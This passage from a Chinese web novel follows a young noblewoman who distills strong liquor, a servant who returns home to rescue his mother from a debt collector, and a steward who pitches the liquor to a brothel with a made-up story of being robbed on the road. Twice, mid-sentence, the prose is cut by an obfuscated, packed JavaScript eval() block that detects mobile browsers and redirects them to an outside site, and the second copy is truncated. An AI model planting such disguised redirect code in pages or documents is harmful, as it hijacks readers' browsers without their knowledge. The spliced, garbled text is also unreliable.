如此反复，很快装满两个小坛的酒。苏云舀了一碗给王嬷嬷，王嬷嬷正想一口喝下，苏云拦住她，道：“嬷嬷，这个酒可不能这样喝，一口下去，你就醉了。”王嬷嬷吓了一跳，端起碗轻抿了一口，感觉浑身发热起来，道：“此酒好生猛烈，却又很是香醇，回味无穷，以前从未喝过如此好喝的酒，怕是可称得上玉液琼浆了。”苏云笑道：“可不就是玉液琼浆了吗？”然后正色说道：“此法虽简单，但却无人知晓，我们能不能发迹，只怕就要靠它了。”王嬷嬷脸色郑重，赶紧道：“奴婢知道的，绝对不会向外吐一个字。”苏云满意点头。 两人把开始蒸馏剩下的水，又拿来蒸馏了一次，就不愿浪费一点，毕竟伊人醉也不便宜。虽是蒸馏，基酒越好，蒸馏后的效果也自然越好。就像苏云只给林二伯雪里柔，多少就是有点舍不得，毕竟现在手头银子太紧。二次蒸馏之后，基本就剩下水，苏云就将它倒掉了。 这一次的实验，苏云还是很满意的，看看提炼出来的就大概有42度左右了，比以前的高出了一倍不止，想要更香的酒，应该可以在这个基础上再提纯一次。 除了出去吃午饭，二人在西院作坊忙了一整天，弄出了五六坛提纯酒。 外面的下人不敢打听，那些绣女虽闻到酒香，但是女子对酒没什么兴趣，完全不像对卤肉的感觉，也就奇怪了一下而已。 快到晚饭时候，黎大为和庄客回来。黎大为给了庄客二十文铜钱，庄客高兴回家了。 黎大为道：“见过小姐。”苏云道：“想是办得顺利？”黎大为道：“此行还算顺利，杨家村也不是很远，窑场生意的确很好，好不容易找到老板，老板姓张，看了图纸之后，称完全可以做得出来，只是数量不够大，开始还有些不愿意，在下就说这只是先做一批试试，如果满意，后续还会做很多，他才勉强接单，不过价钱谈得比较吃力。因数量不大，没什么优惠，最后谈成二十五文一个。若是以后量大，想来可再压压价格。”苏云道：“这个价格也能接受，先这样吧，后续再说。最重要一点，保密协议可签订了？” 黎大为道：“在下牢记小姐之命，已经签了保密协议，反复叮嘱不可对任何人透露我们订单之事。今天正好有一个窑打开，里面的瓷器确实精美。张老板今天下午就做了十个酒瓶，和别的陶坯一起送进窑子里，明日就可以开窑，明日我再去看看。今日耽误时间较多，就是为了看陶坯样品。” 苏云道：“如此甚好，明日就再辛苦你一趟。如果觉得不错，直接安排好便是，不必每次都告知我，一切都有劳你费心。”苏云以前是管理人才，深知用人不疑，疑人不用的道理，且凡事要抓大放小，不宜管束太紧，要给下面的人一定的自主权。 黎大为拱手道：“份当所为。”顿了一下，又道：“小姐前面所嘱，我只说自己姓余，交货地点就在城外，并没有谈到柳河庄，小姐放心。” 苏云道：“今日辛苦，你且去吃饭吧，好生歇息。” 且说阿牛和林二伯上午出发去购硝石，两人一路好走。阿牛因怀里装着银子，神情紧张，路上都在东张西望，感觉每个人都似乎要抢自己的银子一样。林二伯看得发笑，道：“阿牛，能不能有出息点，这点银子就让你吓成这样。你越紧张，别人越会注意到你，放轻松吧，有我在，断不会出事。”阿牛小声道：“这是小姐第一次让我带银子出门，从来没见过这么多银子，我怕出什么事，对不住小姐。况且我一辈子都没带过这么多钱。要是早这样有钱，我也就不用借债，也不用偷，还被人卖了，让母亲孤零零一个人在家，也不知道她老人家还在不在。”说着眼眶又有些泛红。 林二伯见状，也不太好说他，见他思母心切，便道：“要不我们先直接去杨川县，见到你母亲后，再去买硝石，回来的时候再顺路到都云县买，这样带回来也比较方便。” 阿牛大喜到：“这样安排甚好。”两人边走边谈，阿牛神情也就自然了许多。 其实林二伯是有些不屑的，按照自己的脚程，不需一日就可到杨川县，奈何阿牛不会轻功，又没有坐骑，只能用脚步快走。好在自己也没什么事，这段时间闭门疗伤，也觉憋屈，这次出来，权当是散心了，因此倒也不慌。 阿牛道：“小姐是个大好人。听柳河庄的庄户说，小姐贵为侯府嫡女，身份和等尊贵，却为庄子做了不少好事，大家都尊称他是龙女呢。说是龙王要她带着庄户们发家，你觉得可信不？”林二伯见多识广，本不信这些神神鬼鬼的事情，但看阿牛一脸崇拜，也不好细说，就道：“鬼神之事，信与不信，各人自有判断。既然小姐愿意花大把银子帮助庄户，想是真有龙王嘱托也未不可。” 阿牛道：“小姐神仙似的人物，想必不是凡人。只是现下小姐不过十二三岁，却有这般心智，只怕嫁了人的女子都比不过，倒是不敢让人把她看作孩子，不知以后什么样的男子才能配得上她。” 林二伯道：“不可背后议论小姐。” 阿牛心急如焚，只想一心快见到自己的母亲，所以脚程对于一般人而已，已经是相当快。林二伯知道他的心思，也没拦着，也不怎么费力，不疾不徐跟着他，一点不落后。 当日就抵达都云县，找了个便宜旅店歇息。休息一阵后，林二伯带着阿牛先去各个药铺转转，给了定金，让店家准备好硝石，过一两天就回来取。安排完毕，这才回旅店歇息。 次日一早，阿牛和林二伯又急急赶路，眼看已经到了杨川县地界，阿牛归家心切，更是急不可待，简直就差跑起来了。林二伯拉住他，让他莫急，不要引起人的注意，最好等晚上再回家里去。看看天色尚早，强拉着阿牛去药铺打转，把所有药铺的硝石都买了下来，装在一个大麻袋里，找到一个旅店，吃过饭，林二伯躺在床上休息，静等天黑，阿牛则在屋里走来走去，焦躁不安。 好容易天色已暗，县城并无宵禁。二人稍加穿戴，出门朝阿牛家走去。阿牛家在一个破烂的巷子里，一间破旧的小屋，四处漏风。还没有走到，见前面围了一群人，听见一个男子带着四五个凶神恶煞的壮汉，在大声叫骂：“死老婆子，都几个月了，你儿子早死不知哪里去了，你还想赖在这里等他？李老爷说了，你要是不搬走，明天把你扔到大街上去喂野狗。”一个老妇人带着哭腔道：“我不走，我儿子会回来找我的。再说，我儿子的卖身钱都给你们了，你们凭什么还要抢占我的家？” 那男子道：“你儿子那几个卖身钱，就想把债全部还清了？你做梦，就算加上你这破房子，只合一半都不够。要是你儿子敢回来，老子就把他再卖一次。”只听另一个男子的声音：“你们讲不讲理？当初借了你们八两银子，阿牛哥卖身钱十五两都全给了你们，你们还嫌不够？”只听先前男子叫道：“何大壮，你算哪根葱，在这里大喊大叫，这是阿牛家的事，你定要趟这趟浑水吗？”那叫何大壮的男子道：“路不平，有人填，事不平，有人管，做事总要讲个道理吧？”那男子叫嚣：“李老爷就是理，李老爷就是天，你要是多管闲事，小心你的皮肉。”何大壮道：“你们敢？！” 老妇人哭着道：“我不走，打死我也不走。我要是走了，阿牛回来就找不到我了。”那男子气急败坏，指挥几个手下：“看来你是吃了秤砣铁了心，既如此，你也休怪我，小的们，给我砸。”只见四五个汉子手执木棒，冲了进去，接着传来一阵砸物的声音，何大壮在里面阻止，却挨了好几棒，老妇人瘫坐在地上，呜呜哭泣。 阿牛目呲欲裂，正欲冲上去，却被林二伯拉住，随手一点，动弹不得。林二伯低声道：“切莫着急，晚点再说，不要惹事。”拉着阿牛躲在一个角落里。 不久，打砸之声渐歇，男子踢了一脚老妇人，道：“死老婆子，老子明天再来，要是你还在这里，一准扔你去喂狗。还有你，何大壮，你要是再敢多管闲事，小心你妹子被卖到窑子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205747|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。”说完，带着手下呼啦啦走了。剩下的邻居也安慰了几句，纷纷散去。 林二伯这才放开了阿牛，阿牛快步奔了过去，只见家里有些暗，隐约何大壮正在扶起老妇人，一边劝慰着。阿牛大喊一声：“娘。”老妇人身体一颤，不可置信的朝着声音的方向看去，只见一个模糊的健壮身影，依稀正是阿牛，也颤声叫道：“阿牛？”阿牛扑上去，紧紧抱着老妇人道：“娘，是阿牛回来了。”老妇人也紧紧抱住儿子，忙不迭道：“老天开眼，老天开眼了。”母子抱头哭了好一阵，这才停下来。 阿牛转向何大壮，紧紧抱住：“大壮好兄弟，谢谢你了。”何大壮到：“你我情同兄弟，帮忙照顾一下，自是应该的，也没帮上什么忙，何必言谢。”阿牛这才介绍旁边的林二伯：“这是林二伯。”何大壮见过。 林二伯道：“这里不宜多留，要不我们去旅店谈谈？”屋里一片凌乱，连张稍完整的凳子都找不到，而且烛火也没有，的确不是谈话的地方。 于是扶着老妇人到了旅店，重新开了房，何大壮道：“阿牛既然回来了，还有小妹一个人在家，我不放心，我先回去了，明天再来找你谈。”阿牛再次感谢。 老妇人情绪平静了些许，把阿牛走后的事情给他们讲了一遍。自从阿牛被发卖，老妇人整日以泪洗面，好在何大壮看在兄弟份上，兄妹俩天天过来照看，送药送吃的，也是老妇人还想见儿子的心性坚韧，病竟然好了不少。没想到债主李老板又派人来抢占房子，老妇人怕自己离开，儿子回来找不到人，坚决不答应，那管家带人砸了好多次，这次是最狠的。阿牛也把分别后的事情说给了老妇人听。 林二伯在旁一直没做声，等母子俩讲完，这才问到：“何大壮是个什么样的人？” 阿牛道：“大壮是发小，小时候一起玩耍，长大后一起出去打工，码头当苦力，挑大粪，有什么做什么，人勤快，讲义气。父母早亡，只剩下一个妹子，今年十四，兄妹俩相依为命，日子过得也十分艰难。” 林二伯想了想道：“既是日子艰难，你可问问他兄妹，是否愿意跟我们一起回柳河庄讨生活？”林二伯是聪明人，知道苏云的志向，日后肯定需要不少人，这才自作主张建议道。 阿牛大喜，有有些犹豫：“不知小姐可否同意。”林二伯道：“放心，小姐肯定会同意的。”阿牛大喜：“我这就去找他谈谈去。”说罢，看了看母亲，老妇人笑笑，温言道：“去吧。”阿牛转身就出去了。林二伯道：“大妹子像是饿了，我去叫小二准备点饭菜来。”老妇人忙摆手：“多谢大哥，只是怎好让你破费？”林二伯道：“无妨，我家小姐付钱的。你且少待。”说完就出去安排了。 阿牛摸黑到了大壮家敲门，大壮在里面叫道：“哪位？”阿牛道：“大壮兄弟，是我，阿牛。”门吱呀一声打开，大壮拿着油灯，油灯发出微弱的光芒。阿牛进屋，大壮的妹妹何小花忙迎上，道：“阿牛哥，好久不见了。”阿牛道：“小花好。”小花去倒水。两人坐下，大壮问道：“这阵子你在外面，情况怎么样？”阿牛把经过说了一遍，道：“小姐是个心善的人，虽是卖身为奴，但小姐并没有把我当成奴仆，对我们也很尊重，吃食用度都不曾有亏待。这次回来，她就让我把母亲也带过去。” 大壮道：“那你是遇到好主人了，不愁吃穿还能接母亲过去享福。”阿牛道：“你们过得怎么样呢？”阿牛道：“还不是那样，那里有活就在哪里干，挣点辛苦钱，饥一顿饱一顿，凑合过日子罢了。”阿牛道：“小花已快到婚配年龄，记得我被抓的时候，小花正在谈人家，不知道现在怎么样了？” 大壮叹了口气道：“家徒四壁，媒婆上门都被吓跑了，现在还没有合适的人家。”阿牛道：“你我兄弟多年，情同手足，要是以后还能在一起干活喝酒，那就太好了。如若愿意，不妨我们一起去柳河庄。”大壮道：“我自是也想和你一起，你现下虽过得不错，但也只是奴仆身份，又岂能做得了主？”阿牛道：“小姐甚好说话，再说林二伯也让你们去，我们两人一同推荐，应是没有问题，小姐定会收留。再说我们也不是白吃饭，也是要做工的，你我可以一起干活，小花本就喜爱刺绣，柳河庄正好也在培训刺绣，不给学费，还有工钱可拿，不妨也去试试。”小花在旁边听得有点动心，大壮道：“听起来是很不错，只是若我兄妹过去，也需卖身，如何是好？” 阿牛也没想到这一点，一时不知怎么回复，小花眼中的亮光也暗淡下去。 阿牛突然想到了什么，到：“要不你兄妹和我们先去，只说是过去看看，看小姐怎么说，若是你们觉得不妥，再回来也没关系，反正只有两天路程，往来也方便。”大壮转头看着妹子，小花点点头。 阿牛大喜：“那就这样定了，你们今晚收拾好，明早办好路引，我们就出发。” 18. 第 18 章 18、售酒之道 苏云每天都在练习打坐，今天正在床上坐着练习，忽然觉得似乎有一股内息在丹田聚集，暖暖的，按照檀云功法上的运功法门，开始试着用意念引导内息的流动，试了好一阵都没有成功，不敢硬来，看了看天色，也不着急，下床不再练习。 想到明日二管家苏贵又要来，苏云不觉看到了一个机会，于是抓紧画出了水车的图纸和建造过程，然后给父亲写了一封信，言辞恳切地问候了一番，又介绍了水车灌溉的好处，在信尾让父亲把图纸献给皇上。想起二哥即将参加秋闱，免不得也写了一封信鼓励。 吃过午饭，闲来无事，又开始打坐练习。 下午黎大为带回了十个瓷瓶，是按照苏云设计的图纸烧制的，果然洁白如玉，光洁柔润，一瓶能装半斤的样子，上有三字：“卧云醉”。苏云甚是满意道：“没想到效果如此之好，五十文都不亏。这样，你明天去城里找木匠，做五个木盒，每个木盒装两瓶。”说完，把图纸递给他。 苏云又道：“另外，你回来的时候，再去买一些雪里柔回来，就一大坛吧，本想再要点，算了，阿牛不在，怕是有点不方便。就等阿牛回来后再说。” 黎大为一一应是。这时，王嬷嬷拿着账本进来了，想说什么，看到黎大为在，边没有开口，黎大为识趣，正要退下，苏云道：“大为不是外人，你有事直说。” 王嬷嬷脸露着急之色道：“这些日子开销委实有点过大，前面已经开销的就不说了，还要留下大为定的瓷瓶尾款，还有绣女们的费用，加上我们院子里面的吃食用度，剩下的银子怕是支撑不了几日了。” 苏云沉吟道：“看来当务之急是要捞点银子。明日苏贵叔就要来了，我脱不了身，大为，你看有什么办法解决目前的问题？”黎大为道：“若是要找快钱，自是要将手中现有资源整合起来，想什么方式拿出去换钱。在下刚到几天，小姐吩咐的事情，我都在外面忙，家里有些什么资源，实是不太清楚。” 苏云点点头：“大为所言极是。嬷嬷，你去取坛酒来。”王嬷嬷退出，一会抱了一坛酒，莺儿还贴心拿了两个杯子。 王嬷嬷将酒倒入入杯中，递给黎大为。大为接过，在鼻子下闻了闻，脸露诧异，然后抿了一口，又一饮而尽，赞道：“好酒，好酒，不想世间竟有如此美酒。初闻醇香扑鼻，浅尝则口舌生香，饮尽则回味悠长，通体舒泰，全无滞涩之感，且似更觉易醉。不知这是什么酒？” 苏云笑道：“这是我刚捣鼓出来的提纯酒，取名就是卧云醉。以后我们院子的财路，只怕就要靠它了。”黎大为惊道：“是小姐酿出来的酒？”苏云道：“酿酒有很多讲究，高粱或者别的谷物品质要好，水、泥土、麯药都要好，不然就算酿出就来，未必上佳。我只是在别人好酒的基础上加工而已。” 黎大为道：“若是如此，想是基酒越好，提纯酒品质也越好？这一坛酒，不知成本几何？”苏云道：“这就是上次买的两大坛雪里柔提炼出来的。”黎大为道：“不知小姐欲定价几何？” 苏云道：“既是好酒，怎可如此一坛就售卖？常言道：人靠衣装马靠鞍，得有一个好的包装，一个好的名字，重要的，还得有一个好的故事。”然后示意王嬷嬷拿来漏斗，把酒倒进瓷瓶，一坛酒正好倒满十瓶。十瓶酒排成两排，看起来显得十分精致，岂是土陶坛子可比的。 苏云道：“大为再看看。若是装在土坛里面，一坛酒能卖十两银子，这样装起来，你觉得这十瓶能卖多少？” 黎大为道：“如此精美，怕是要翻倍。” 苏云道：“若是此酒给钱就能买到，二十两自然也不错。但若是只有这十瓶，以后再也没有了，你看能卖多少？” 黎大为眼睛放光：“小姐真是好手段。若是只此十瓶，想来再翻倍也未不可。” 苏云道：“世上都是物以稀为贵，给钱就能卖到的东西，再高也有一个价。若是我们再编一个故事，说什么是龙王的琼浆，瑶池的仙露，或者是祖传的，却又如何？反正世上也没有出现过这种好酒，怎么说都不过分。” 黎大为道：“若是如此，有人相信这些传说，想必还可以翻倍。” 苏云笑道：“那你算算，这十瓶酒，现在能卖什么价格？” 黎大为道：“想来五十两应是可行的。” 苏云道：“还可以再增加。” 黎大为惊道：“还有手段？” 苏云道：“方法自然很多，不过最可行的就是拍卖。想想，仅有十瓶好酒，以后再无，世上达官贵人那么多，好酒贪杯之人也不少，若是用来拍卖，价高者得，你再说说价格。” 黎大为满脸崇拜：“小姐大才！若是拍卖，有钱的瘾君子自不会吝惜一点钱财，拍卖价格，在下实不敢想。”顿一顿，噗通跪倒在地：“多谢小姐费心指点，不吝赐教。大为感佩之极！” 苏云满意，虚扶一把，道：“大为这是做什么？王嬷嬷，快扶大为起来。” 苏云道：“商道虚虚实实，东西固然要好，若想赚大钱，还得靠脑子。同样的东西，经过包装后，效果大为不同，以后你就知道了。目前可能给不了你什么，只要好好干，日后你必定前途无量。此酒现下有几小坛，本不想在此地售卖，奈何现在银两短缺，先过了眼前这关再说。你这就下去，想想怎么把这几坛酒卖出个好价钱来。有什么可行之法，晚饭后过来，我们一同探讨。” 大为告辞出去。苏云道：“有点乏了，莺儿，你去弹一首曲子我听听。”莺儿高兴的应了一声，坐到琴桌旁，弹起《茉莉花》来。 饭后，黎大为求见，进来之后，苏云让他坐下，娟儿上茶。 苏云道：“大为可是有甚想法了？” 黎大为道：“回小姐话。回去之后想过，我先说出来，看小姐觉得妥不妥？”苏云点头。 黎大为道：“高端酒水售卖，无非几途，一是酒铺，二是饭庄，三是青楼，四是小姐所说拍卖。我们目前并无自己的酒铺，若是托卖，酒铺也需有利润，则利润上不去，此法子恐是不妥。”苏云点头。 黎大为继续道：“拍卖恐也不是很妥当。观小姐前面的做派，并不想让人知道酒水出自柳河庄，拍卖要想卖得好价钱，必要街头巷尾都知道，声势太大，于保密不利。” 苏云赞许道：“正是如此。” 黎大为道：“那就剩下饭庄和青楼，不知小姐属意那一个？还是两者都去？” 苏云道：“你之剖析甚好。诚如你言，只剩两者，要结合我们院子的优势，你看哪个更合适？” 黎大为道：“在下觉得二者皆可。”苏云笑笑：“饭庄自然不错，客人吃饭，自然是填肚子重要，酒水只当是助兴；青楼则不然，客人图的就是一个乐子，只要满意，银钱都好说。还有一点，在饭庄，若是酒保推荐酒，客人未必相信，若是价格昂贵，则更要思量再三。而青楼则不同，若是里面的花娘是客人中意的，推荐酒水的成功率就会相当大，虽觉价格昂贵，千金买笑，也不会再心疼银子了。” 黎大为点头，苏云看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大为和莺儿商量了一下，莺儿想唱《玉湖水浪打浪》，调试一下之后，黎大为开始弹起来，莺儿唱歌技巧谈不上，好在音色甜美，长相也可爱，初时有些紧张，后来就顺畅起来，歌曲又是歌唱家乡生活，父母养育之恩，倒也觉得很是应景。 二人表演完毕，苏云轻轻鼓掌，娟儿、王嬷嬷、李三娘他们听到歌声，都来观看，都道莺儿唱得好听。莺儿满脸通红，心里却像灌了蜜一样。 苏云道：“你们合作不错，再唱一遍吧。”莺儿又唱了一遍，这一遍不再生涩，加进了一些感情，黎大为并不看曲谱，相当流畅，在高潮之处，竟随意加了几个音，听起来别有味道。 一曲完毕，众人都鼓起掌来。黎大为起身致谢，莺儿不知所措。苏云笑道：“莺儿，赶紧道谢啊。”莺儿才慌慌张张跟着道了个福礼。众人一阵大笑。 苏云道：“大为，你再弹一首《铃儿响叮当》。”黎大为拨弦，照着曲谱弹奏起来，这是一首快歌，黎大为并不是很熟悉，弹得有点慢，好在功底不错，几遍之后，就熟悉起来。苏云又让莺儿唱，童声童语，加上快节奏，显得十分俏皮可爱。 苏云见火候不错，就道：“今日就这样，大家散了吧。”李三娘和厨娘他们就退下了。 苏云道：“大为，你可知道我让你练琴的用意？” 黎大为道：“知道一点，想是去青楼，若是和老鸨谈得不顺利，便可用曲谱开路。” 苏云点头：“正是如此，明日你可带莺儿和李三娘进城，给你打打下手。你和莺儿再练练，我出去走走。”说着把两张曲谱给他。 苏云叫了王嬷嬷和李三娘，提着灯笼在庄子上转转，大为和莺儿继续练习不提。 19. 第 19 章 19、青楼售酒 次日，娟儿带着宝儿，王嬷嬷去帮厨娘做事，并吩咐晚上多弄几个菜迎接苏贵。莺儿见没事，征得苏云同意，也回家去了，苏云还让她带了些点心，乐得莺儿蹦蹦跳跳跑回了家。梁有田全家见宝儿带着糕点回家，还把月例交给了父母，也是乐得不行，只觉得把莺儿卖出去，是完全正确的想法。 东院的绣房这两天比较平静，快到一个月了，大家都想留下来，都在做最后的努力。 苏云有些担心黎大为一行，心里有些烦躁，做不了什么事，干脆关上门，开始练习打坐，心绪才慢慢平静下来。 也不知道过了多久，苏云再次用意念控制内息，想在周身运转，突然感觉丹田有一股热流开始按照自己的意念开始缓缓移动，觉得挺好玩，不断指挥内息的移动，但是气息还比较散，有些在动，有些还留在原地。 苏云并不着急，慢慢用意念牵动能带走的部分，周身运转，运行几遍后，出了一身汗，运行了一个周天，于是做了收势结束。 看看时辰，原来已经过了午饭，王嬷嬷见苏云开了门，这才端上午饭。 饭后无事，带着王嬷嬷到庄子里转了转，回到家里时，苏贵已经到来。苏云忙见礼让座，歉声道：“贵叔到了，刚才出去转了转，看看贵叔何时过来，不想竟与贵叔错过了。”苏贵道：“无妨。小姐有心了，在下也是刚到。” 王嬷嬷端上茶来，苏云道：“不知祖母大人、父亲母亲可安好，大哥二哥和各个姐妹可都安好？”苏云道：“都很好，劳小姐挂心了。”问候完毕，苏云又道：“贵叔此次来柳河庄，不知京城可有什么趣事？”苏贵道：“侯府整日事多，小的所知也是有限得很。听得今日朝廷立了二皇子为太子，朝野上下都在庆贺。” 苏云道：“不知这二皇子是个怎样的人？” 苏贵道：“听得人说这二皇子的确是人中龙凤，至纯至孝，文武全才。小的无缘得见，市井传言而已。” 苏云道：“不知二哥现下，情况如何？” 苏贵道：“二公子很是刻苦，文章大有进益，只是今日身子有些不适，竟有些起不了床，郎中诊过后，说二公子并没有什么病症，想是平日读书太过刻苦，身子受不了。侯爷也叮嘱他安心调养，不能太过用功，好在明年才有秋闱，调养好了，自然可以下场。” 苏云闻言大为吃惊，年纪轻轻的，怎会如此，想当年高考，自己也是废寝忘食，并不至于到这种地步啊。于是委婉问道：“二哥年纪正当年，怎会病倒，想来母亲也很是焦急？” 苏贵道：“可不是，夫人素有贤名，心里也是着急的，人参燕窝，各种补品流水价一样送到青竹斋，每日找人问候，不时还亲自去探望。侯夫人能做到这个份上，现今京里都盛传侯夫人的贤名呢，称颂侯夫人是京中第一贤惠。”苏贵言罢，脸上也浮现出得意之色。 孙云心里暗骂，苏琦病倒，只怕就是侯夫人暗中捣鬼，却不敢说出来，道：“有母亲照拂，想来二哥不久就会大安。二哥身体有恙，待我写上一封信，略表问候之意，明天请贵叔带回去。” 苏贵道：“份所应当。” 两人座谈一阵，王嬷嬷叫用饭。饭菜端上来，花样不少，倒是丰盛。苏云让苏贵入座，苏贵忙摆手，道：“万万不可，小的哪能和小姐同桌？” 苏云笑道：“贵叔太客气了。我在这柳河庄，多亏了贵叔照顾，虽是主仆，贵叔却是长辈，你若不就坐，就是看不起我这个不讨喜的侯府小姐了。” 苏贵忙道不敢，告了罪，只得坐下。 王嬷嬷在一旁伺候，倒上一杯酒，按照苏云事前交代，就是伊人醉，并没有上提纯酒。苏贵饮了一口，感觉虽不算最好，却也算是不错，再加上菜品丰盛，心中不由畅快。 苏云见状，道：“今日无事，贵叔自可尽兴，也不用去庄头家了，西院就可安歇，只是要委屈贵叔在下人房里住上一夜了。”苏贵道：“小姐哪里话？小的本就是下人，住在下人房里，适得其所，哪来委屈可说。” 苏云陪了一杯，道：“说起酒水，京中自是不乏佳酿。自古诗酒一家，不知京中可有知名酒仙？”苏贵又喝了一杯：“京中善酒之人何其多，若说有名，当数名师瞿老夫子。这瞿老夫子写得一手好诗文，学问一流，却不愿入朝为官，倒愿教书育人，所教弟子，朝中做官数十之数，担得起桃李满天下。平生最好杯中之物，每有佳酿，必得之畅饮而后快，是个妙人。” 苏云道：“此等人物，应是谪仙之资，不知他老人家住在何处？” 苏贵道：“有缘见得一面，此人家世不显，听说在南城甜水巷居住，平日达官贵人求见，常不予理睬，若是有美酒相送，即便引浆之辈，也是倒履相迎，真是奇人。” 又问了几个有名的好酒之人，苏贵也都知道，苏云达到了目的，便放下心来，有一句没一句陪着聊了一会，便称已经吃饱离开。 刚回到房中，却听得外面有喧哗之声，王嬷嬷来报，是黎大为他们回来了。苏云赶紧出去，只见黎大为正指挥车夫把车上的两个大酒坛卸下车，然后和车夫、李三娘一起，将酒坛搬进了库房。黎大为给了车夫车资，邀请他一起用饭。车夫客气两句，并未留下。 黎大为正想上前汇报，苏云见他神色畅快，心中已知结果，不想在苏贵面前说这些事，于是道：“你们今天辛苦了，现在赶回来，想是已经饿了，事情不着急，你们先吃饭，完了再说。”于是安排李三娘和莺儿去东院吃饭，宝儿见外婆回来，也是高兴得很，迈着小短腿就扑了过来。 苏云道：“大为，我来介绍一下，这是侯府二管家贵叔。”又对苏贵道：“这是黎大为。”苏贵见是一个眉清目秀的少年，衣着华美，有些气度贵公子气度，分不清是什么身份，赶紧起身见礼。 二人礼毕，苏云道：“贵叔每个月难得来一次柳河庄，这些年多亏了贵叔多年照顾。我不善饮酒，你来陪陪贵叔。”黎大为忙答应，坐下为苏贵斟酒。 苏贵也有了一点酒意，本来见一院子全是妇人，酒虽不错，独酌却并不是很尽兴，难得一个少年来陪自己，自是高兴，黎大为知道这是让自己笼络苏贵，凡事刻意迎合，两人推杯换盏，居然很快就熟络了起来。 苏云见了，微微一笑，压住心中好奇，也不着急问，回到了屋里。 当日黎大为带着李三娘和莺儿一起进城，先到城里院子把酒坛放下，然后留下她们，自行出去找到木工作坊，到成衣店买了一身行头换上，又去定制了木盒，然后雇了一辆牛车，在城外等着瓷瓶的交割。 不久杨家村的伙计到了，将瓷瓶交割完毕，回到了院子，三人关起门来，开始将小坛里的酒水灌装到瓷瓶里，用红布包裹木塞塞住瓶口。这才出去吃了点东西，回到院子里静静等着。 看看时辰差不多了，黎大为让李三娘用篮子装了两瓶酒，带着莺儿一起出发去青楼。 黎大为也不过十六七岁的少年郎，以前陪着公子到过青楼，也只是在旁伺候，今个儿独当一面，心里还是有点发慌，李三娘更是从来没来进去过，至于莺儿，双眼贼溜溜地扫着大门华丽艳俗的装饰，充满了好奇。 黎大为定了定神，迈腿朝青楼大门走去，只见大门牌匾上三个大字：“万红楼”。现在还没到晚饭时间，门口还没有妓子招客，只有一个小厮在看门，见到黎大为走来，衣着华贵，赶紧殷勤迎上来：“公子来了，里面请。”见到李三娘和莺儿，倒也没有阻拦。三人走进大厅，里面有三三两两、穿得花枝招展的妓女围着一个中年妇人说着什么，见三人进来，中年妇人忙撇开几个妓女，迎了上来，一边走一边笑道：“公子来了，快请。”中年妇人穿得艳丽，妆容精致，虽已四十有余，看起来却似三十出头，人未到前，已是香气袭人。 黎大为躬身施礼：“见过妈妈。”老鸨打量了一下黎大为，道：“好俊俏的少年郎！公子面生，想是第一次来我们万红楼。”黎大为道：“正是。”刚才几个妓女围了过来，一女子道：“好俊俏的公子，既然第一次来，就找我曼云吧，保证伺候得你舒舒服服的。”黎大为脸色一红，忙微微施礼道：“谢谢姐姐。”几个女子见状，竟然围上来，就要拉扯黎大为，老鸨斥道：“小蹄子干什么，别吓坏了公子。”几个女子不敢上前。老鸨转身对黎大为道：“公子莫怪，想是难得见到公子这般俊俏郎君，女儿们有些失仪了，还望公子勿怪。，你要是看中哪一位女儿，我这就叫她伺候公子。” 黎大为行了一礼，道：“不敢，是姐姐们错爱了。此次小子前来，并非找各位姐姐，是找妈妈有生意要谈。”老鸨一脸惊奇：“公子是来谈生意的？”黎大为道：“正是。” 听得黎大为如此说，老鸨面色有些冷淡，不过还是勉强维持着笑容：“既如此，请这边来。”引着黎大为到了一张桌子旁坐下。那群女子并未离开，好奇地朝这边望着，都唧唧咋咋赞大为俊俏。 老鸨道：“不知公子有何生意？”黎大为道：“小子余姓，盘州人氏，家中也做点小生意。本想押着几车好酒去京城售卖，谁想父亲染病，便着小子前往，行进半旬，眼看都快到京城地界，却不料路遇劫匪，不仅抢走货物，还被杀了几个家人。幸得小子在家人保护下，这才逃得了性命，到了临川县。还好有一车并未同行，车上的酒得以保存，只是盘缠被抢，货物遗失，还有家人受伤，虽到京城边上，已无心再去。想着把酒就地售卖，早日返家。听得人说万红楼是本县最大的青楼，妈妈经营有方，楼中姐姐个个貌若天仙且善解人意，生意是县城一等一的好，就冒昧前来叨扰，看妈妈能不能留下这批酒水。小子也是第一次出门，不料却遇此不顺，还望妈妈垂怜。”说着起身施礼。 老鸨想了想，看看黎大为略有些羞涩的脸，倒是生出几分同情，叹了一声：“按说我们青楼最不缺的就是酒水，且酒水都有固定的进货，如果进了你们的酒，不好向人家交代。”看看黎大为有些失望的神色，道：“罢了，你手里还有多少货？” 黎大为见鱼上钩，心中暗喜，脸上不露声色，仍旧一脸愁容：“所剩不多，大约还有不到三十斤，半斤一瓶，也就四十五瓶左右。”老鸨到道：“既然量不多，老身帮你倒也无妨，这点酒，只怕一日都不够。” 黎大为脸露喜色，忙行礼道：“真是多谢妈妈了。” 老鸨见他生的俊俏，知书达理，也心存好感，道：“好说，常言道，一个好汉三个帮，出门在外，谁家不会遇到点为难的事情。你说吧，你的酒怎么卖的？” 黎大为见已有客人陆续进来，故作为难道：“此酒酿制困难，成本颇高，价格上就有些贵。老父在家时交代，到京城，此酒一瓶不能少于三十两。”老鸨听言，脸色一变，猛然站起，一拍桌子，厉声斥道：“我见你可怜，诚心想要帮帮你，三十两一瓶酒，你是想来消遣老身吗？你走吧，老身买不起。”黎大为赶紧站起，手忙脚乱道：“妈妈莫生气，价钱好商量的。要不妈妈先看看这酒水？”示意李三娘赶紧拿出一瓶给他。 